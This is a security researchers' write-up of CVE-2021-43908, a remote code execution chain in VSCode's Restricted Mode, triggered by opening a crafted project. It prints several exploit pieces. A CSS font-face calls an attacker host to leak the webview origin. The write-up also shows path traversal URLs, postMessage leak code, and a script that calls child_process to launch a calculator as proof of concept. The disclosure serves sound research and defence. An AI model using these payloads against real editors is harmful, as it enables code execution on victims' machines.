CVE-2021-43908: Remote code execution in VSCode restricted mode
How we achieved remote code execution in Visual Studio Code's Restricted Mode by chaining origin leaks, CSP bypasses, and webview message handler flaws.
VSCode is one of the most widely used Electron applications. As part of our research into hacking Electron apps, we thought it would be interesting to try to exploit VSCode —— and we succeeded. We were able to achieve remote code execution in VSCode without even needing to use any advanced techniques.
Summary (TL;DR)
Remote code execution can be achieved if a victim opens a markdown file in a
maliciously crafted VSCode project or folder, even when running in VSCode’s
Restricted Mode.
VSCode webview origin leak and meta redirect
Markdown files are rendered using the vscode-webview:// protocol with a unique ID, and the rendered page has the following CSP:
Achieving XSS is impossible unless we can somehow leak the nonce. However, vscode-webview:// includes a postMessage handler that can be exploited for XSS. To use this postMessage, we first need to leak the extension ID, which is the host part of the vscode-webview:// origin.
Origin leak
Since the markdown is rendered in the same origin, we can use a technique like HTTPLeaks to leak the origin.
We discovered that it is possible to leak the extension ID via the font-src CSS directive, as the origin header in the request contains the ID we need:
1
<style>
2
@font-face {
3
font-family:'MyFont';
4
src:url('https://pwn.af/elect/final/origin.php');
5
}
6
body {
7
font-family:'MyFont';
8
}
9
</style>
10
<b>leak</b>
Meta redirect
Even with such a strict CSP, we can still use a meta tag to redirect to an attacker’s site where JavaScript can be executed.
Here is a proof of concept for the meta redirect and ID leak:
vscode-webview:// pages have postMessage handlers. They check if the message is coming from a valid origin by using a query parameter named parentOrigin. This means that any arbitrary origin can load the vscode-webview in an iframe and send postMessages:
1
window.addEventListener('message', (e) => {
2
3
if (e.origin !== parentOrigin) {
4
console.log(`skipping webview message due to mismatched origins: ${e.origin}${parentOrigin}`);
5
return;
6
}
On the attacker’s page, we can create an iframe with the following origin:
vscode-file is the main origin used by VSCode, and it has nodeIntegration enabled. It is similar to the file:// origin, allowing you to load files by their path, but only if they are inside the VSCode installation directory.
The following path shows where VSCode runs, which is within the installation directory:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html
Our idea was to navigate vscode-file:// to a controlled HTML file to demonstrate that we could run Node.js code and achieve RCE. However, navigation is restricted to the installation path, and we can’t create arbitrary files within that directory. We considered using network shares, but that approach didn’t work.
After some experimentation, we discovered that by using path traversal, we could load any file outside of the VSCode installation path:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html
Now the question is: how can we create an arbitrary HTML file on the victim’s computer?
Our idea was to use the same VSCode project or folder to store the HTML file. Then, we could navigate to it using top.location='vscode-file://vscode-app/vscode_project_opened_folder_path/malicious.html':
1
<script>
2
if (navigator.platform =='MacIntel') {
3
top
4
.require('child_process')
5
.exec('open /System/Applications/Calculator.app')
6
} else {
7
top.require('child_process').execSync('calc.exe')
8
}
9
</script>
Okay, we have an arbitrary HTML file in the VSCode project folder on the victim’s computer, but how can we determine its path?
This is where a postMessage leak comes into play.
To leak the current user’s directory path, vscode-webview:// can send postMessages to the vscode-file:// origin. When a channel: do-reloadpostMessage is sent to vscode-file, it responds with several postMessages back to vscode-webview://, and one of these messages reveals the user’s directory path:
1
window.top.frames[0].onmessage= (event) => {
2
// loc = event.data.args.options.localResourceRoots[3].path
3
try {
4
loc = JSON.parse(event.data.args.state)['resource']
loc = JSON.parse(event.data.args.state)['resource'];
26
var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')